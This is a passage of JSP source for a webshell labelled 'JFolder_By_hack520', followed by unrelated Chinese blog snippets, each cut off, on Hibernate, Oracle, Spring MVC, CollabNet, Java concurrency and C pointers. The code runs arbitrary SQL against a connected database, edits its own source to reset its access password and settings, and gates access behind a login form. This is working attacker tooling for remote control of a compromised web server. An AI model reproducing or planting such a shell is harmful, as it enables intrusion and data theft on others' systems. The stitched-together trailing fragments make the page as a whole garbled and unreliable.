\n";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);
sRet += "
";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;
case Types.BIT:
sRet += rs.getBoolean(i);
break;
case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;
case Types.CHAR:
sRet += rs.getString(i);
break;
case Types.DATE:
sRet += rs.getDate(i).toString();
break;
case Types.DECIMAL:
sRet += rs.getDouble(i);
break;
case Types.NUMERIC:
sRet += rs.getDouble(i);
break;
case Types.REAL:
sRet += rs.getDouble(i);
break;
case Types.DOUBLE:
sRet += rs.getDouble(i);
break;
case Types.FLOAT:
sRet += rs.getFloat(i);
break;
case Types.INTEGER:
sRet += rs.getInt(i);
break;
case Types.TINYINT:
sRet += rs.getShort(i);
break;
case Types.VARCHAR:
sRet += rs.getString(i);
break;
case Types.TIME:
sRet += rs.getTime(i).toString();
break;
case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += "
\n";
}
sRet += "
\n";
}
sRet += "
\n";
rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql语句执行成功";
} else {
sRet = "sql语句执行失败";
}
}
} catch (SQLException e) {
sRet = "sql语句执行失败";
}
}
return sRet;
}
public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}
if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
class JshellConfig {
private String _jshellContent = null;
private String _path = null;
public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}
private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";
while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}
jshell.close();
} catch (IOException e) {
throw new JshellConfigException("打开文件失败");
}
}
public void save() throws JshellConfigException {
FileWriter jshell = null;
try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;
for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}
jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("写文件失败");
} finally {
try {
jshell.close();
} catch (IOException e) {
}
}
}
public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = p.matcher(password);
if (! m.matches()) {
throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
}
p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
//return HTMLEncode(_jshellContent);
}
public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);
if (! m.matches()) {
throw new JshellConfigException("编码格式只能是字母和数字的组合");
}
p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\"");
//return HTMLEncode(_jshellContent);
}
public void setSessionTime(String sessionTime) throws JshellConfigException {
Pattern p = Pattern.compile("\\d+");
Matcher m = p.matcher(sessionTime);
if (! m.matches()) {
throw new JshellConfigException("session超时时间只能填数字");
}
p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}
_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
//return HTMLEncode(_jshellContent);
}
public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
Pattern p = Pattern.compile("\\w+");
Matcher m = null;
int i;
String fileTypes = "";
String tmpFileTypes = "";
for (i = 0; i < textFileTypes.length; i ++) {
m = p.matcher(textFileTypes[i]);
if (! m.matches()) {
throw new JshellConfigException("扩展名只能是字母数字和下划线的组合");
}
if (i != textFileTypes.length - 1)
fileTypes += "\"" + textFileTypes[i] + "\"" + ", ";
else
fileTypes += "\"" + textFileTypes[i] + "\"";
}
for (i = 0; i < _textFileTypes.length; i ++) {
if (i != _textFileTypes.length - 1)
tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", ";
else
tmpFileTypes += "\"" + _textFileTypes[i] + "\"";
}
p = Pattern.compile(tmpFileTypes);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序文件已经被非法修改");
}
_jshellContent = m.replaceAll(fileTypes);
//return HTMLEncode(_jshellContent);
}
public String getContent() {
return HTMLEncode(_jshellContent);
}
}
class JshellConfigException extends Exception {
public JshellConfigException(String message) {
super(message);
}
}
%>
测试
<%
session.setMaxInactiveInterval(_sessionOutTime * 60);
if (request.getParameter("password") == null && session.getAttribute("password") == null) {
// show the login form
//================================================================================================
%>
8管理登录 :::...
JFolder_By_hack520
<%
//================================================================================================
// end of the login form
} else {
String password = null;
if (session.getAttribute("password") == null) {
password = (String)request.getParameter("password");
if (validate(password) == false) {
out.println("
哎呀,倒霉死啦!
");
out.close();
return;
}
session.setAttribute("password", password);
} else {
password = (String)session.getAttribute("password");
}
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("exit")) {
session.removeAttribute("password");
response.sendRedirect(request.getRequestURI());
out.close();
return;
}
// show the main menu
//====================================================================================
%>
<%
//=====================================================================================
// end of main menu
if (action.equals("main")) {
// print the system info table
//=======================================================================================
%>
<%
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//==========================================================================================
// end of config form
} else if (action.equals("about")) {
// start of about
//==========================================================================================
%>
参考:http://blog.csdn.net/qingfeilee/article/details/7052736
org.hibernate.NonUniqueResultException: query did not return a unique result: 2
在项目中出现了org.hiber
由Oracle通信技术部门主导的演示项目并没有在本月较早前法国南斯举行的行业集团TM论坛大会中获得嘉奖。但是,Oracle通信官员解雇致力于打造一个支持零干预分配和编制功能的网络即服务(NaaS)平台,帮助企业以更灵活和更适合云的方式实现通信服务提供商(CSP)的连接产品。这个Oracle主导的项目属于TM Forum Live!活动上展示的Catalyst计划的19个项目之一。Catalyst计
Spring MVC提供了非常方便的文件上传功能。
1,配置Spring支持文件上传:
DispatcherServlet本身并不知道如何处理multipart的表单数据,需要一个multipart解析器把POST请求的multipart数据中抽取出来,这样DispatcherServlet就能将其传递给我们的控制器了。为了在Spring中注册multipart解析器,需要声明一个实现了Mul
the CollabNet user information center http://help.collab.net/
How do I create a new Wiki page?
A CollabNet TeamForge project can have any number of Wiki pages. All Wiki pages are linked, and
package beautyOfCoding;
import java.util.Arrays;
import java.util.Random;
public class MaxSubArraySum2 {
/**
* 编程之美 子数组之和的最大值(二维)
*/
private static final int ROW = 5;
private stat
示例程序,swap_1和swap_2都是错误的,推理从1开始推到2,2没完成,推到3就完成了
# include <stdio.h>
void swap_1(int, int);
void swap_2(int *, int *);
void swap_3(int *, int *);
int main(void)
{
int a = 3;
int b =
同步工具类包括信号量(Semaphore)、栅栏(barrier)、闭锁(CountDownLatch)
闭锁(CountDownLatch)
public class RunMain {
public long timeTasks(int nThreads, final Runnable task) throws InterruptedException {
fin
不止一次,看到很多讲技术的文章里面出现过这个词语。今天终于弄懂了——通过朋友给的浏览软件,上了wiki。
我再一次感到,没有辞典能像WiKi一样,给出这样体贴人心、一清二楚的解释了。为了表达我对WiKi的喜爱,只好在此一一中英对照,给大家上次课。
In computer science, bleeding edge is a term that